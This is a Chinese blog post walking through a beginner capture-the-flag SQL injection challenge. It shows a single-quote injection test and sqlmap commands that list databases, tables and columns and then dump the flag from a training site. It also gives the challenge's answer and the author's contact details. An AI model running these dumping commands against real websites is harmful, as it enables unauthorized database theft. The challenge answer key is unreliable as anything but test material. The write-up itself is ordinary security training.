今天有点时间就多写几篇解题思路吧，
希望能够帮助到那些需要帮助的人，
所有的wp都是以一题一篇的形式写出
主要是为了能够让读者更好的阅读以及查找，
希望你们不要责怪！！共勉！！！
这一题做的时间比较久，但是收获颇多！！！！
永远爱你们的————新宝宝
这个看起来有点简单!分值：10
- 来源： 西普学院
- 难度：易
- 参与人数：14133人
- Get Flag：5392人
- 答题人数：6278人
- 解题通过率：86%
很明显。过年过节不送礼，送礼就送这个
格式：
解题链接： http://ctf5.shiyanbar.com/8/index.php?id=1
解题思路：看过视频之后，按照视频的教程解答可是怎么做就是不对，最后发现注入的网址不正确（QAQ），虽然浪费了很长的时间但是总的来说还是值得的；
首先：需要对这个网址进行手工检测是否存在sql注入（经典id=1‘加入单引号提交,结果:
如果出现错误提示，则该网站可能就存在注入漏洞）使用sqlmap爆出当前数据库：
使用命令：python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db得到当前数据库：my_db
发现可能存在key于是输入命令：
python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db—tables
得到：
再继续：
python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey –columns就会得到：
然后把k0y里面值爆出来就好：需要输入：
python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump
最后得到答案：whatiMyD91dump
如果有什么不明白的地方，留言或者加我！！！
我很菜，所以我会努力的！
努力是因为不想让在乎的人失望！
博主整理不易，如果喜欢推荐关注一下博主哦！
博主喜欢广交好友下面是我的联系方式：
QQ：1263030049
微信：liu1263030049
加好友前请注明原因谢谢！
原文地址：https://www.cnblogs.com/lxz-1263030049/p/9157312.html